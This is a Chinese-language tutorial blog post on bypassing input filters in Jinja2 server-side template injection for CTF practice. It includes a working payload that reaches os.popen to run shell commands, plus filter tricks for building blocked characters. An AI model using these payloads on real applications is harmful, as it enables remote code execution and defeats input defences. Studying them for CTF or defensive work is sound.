Python SSTI利用jinja过滤器进行Bypass

2023-05-16 11:04:59 浏览数 (1)

  • 利用|attr()来Bypass

attr()是 jinja2 的原生函数,它是一个过滤器,只查找属性,获取并返回对象的属性的值。

过滤器与变量用管道符号( | )分割,并且也 可以用圆括号传递可选参数。

如:foo|attr("bar")foo["bar"]是等价的

如果过滤了 . [ ],就可以利用这个过滤器绕过

绕过姿势

代码语言:javascript复制
{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(77)|attr('__init__')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('ls')|attr('read')()}}

等价于

代码语言:javascript复制
{{''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen("ls").read()}}

如果还过滤了关键字,例如过滤了class,可以利用其进行字符拼接

如:{{''.__class__}}{{''|attr('__cla''ss__')}}是等价的

利用更多过滤器构造字符

在 Flask jinja 中,内置有很多过滤器可以使用。变量可以通过过滤器进行修改,过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数,也可以没有参数,过滤器函数可以带括号也可以不带括号。可以使用管道符号(|)连接多个过滤器, 多个过滤器可以链式调用,前一个过滤器的输出会被作为 后一个过滤器的输入。所有内置过滤器参见官方文档

这个姿势核心就是利用这些过滤器,一步步的拼接出我们想要的字符、数字或字符串

下面给出一些常用过滤器利用姿势

过滤器 ()|select|string
代码语言:javascript复制
{% set org = ({ }|select()|string()) %}{{org}}

这样得到的结果是<generator object select_or_reject at 0x十六进制地址值>

这里就出现了很多字符,那么就可以利用[]来提取出字符,例如

代码语言:javascript复制
{% set org = ({ }|select()|string())[24] %}{{org}}

这里就获取到了下划线,以此类推我们还能获取到尖括号、空格、一些字母、数字

类似的还有如下姿势获取

代码语言:javascript复制
{% set org = (self|string()) %}{{org}}
{% set org = self|string|urlencode %}{{org}}
{% set org = (app.__doc__|string) %}{{org}}
{% set point = self|float|string|min %}{{point}}  # 通过float过滤器获取点 .

它们能获取很多字符,特别注意的是{% set org = self|string|urlencode %}{{org}}可以获取到百分号%

获取数字还有一些姿势

代码语言:javascript复制
{% set num = (self|int) %}{{num}}    # 0, 通过int过滤器获取数字
{% set num = (self|string|length) %}{{num}}    # 24, 通过length过滤器获取数字

有了数字0之后,我们便可以依次将其余的数字全部构造出来,原理就是加减乘除、平方等数学运算

代码语言:javascript复制
{% set zero = (self|int) %}
{% set one = (zero**zero)|int %}
{%set two = (one+one) %}
{%set three = (zero-one-one-one)|abs %}
{% set five = (two*two*two)-one-one-one %}{{five}}

特别注意加法运算的加号( ),语义冲突不能直接使用,需要url编码为+使用,或者使用abs过滤器进行取绝对值

过滤器 dict()|join

字符拼接

代码语言:javascript复制
{% set org=dict(po=a,p=a)|join%}{{org}}   # pop

获取数字

代码语言:javascript复制
{% set num = (dict(e=a)|join|count) %}{{num}}   # 1
{% set num = (dict(ee=a)|join|count) %}{{num}}   # 2
拼接%c构造任意字符
代码语言:javascript复制
{% set c = dict(c=aa)|reverse|first %}    # 字符 c
{% set bfh = self|string|urlencode|first %}    # 百分号 %
{% set bfhc=bfh~c %}    # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接

这里构造出了%c,这样就能通过ascill码构造出任意字符,如

代码语言:javascript复制
{% set c = dict(c=aa)|reverse|first %}
{% set bfh = self|string|urlencode|first %}
{% set bfhc=bfh~c %}
{% set xhx = bfhc%(95) %}{{xhx}}

这样就能构造出下划线了

例题 [GDOUCTF 2023]<ez_ze>


参考链接: 以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用 | Marcus_Holloway SSTI进阶 | chenlvtang

0 人点赞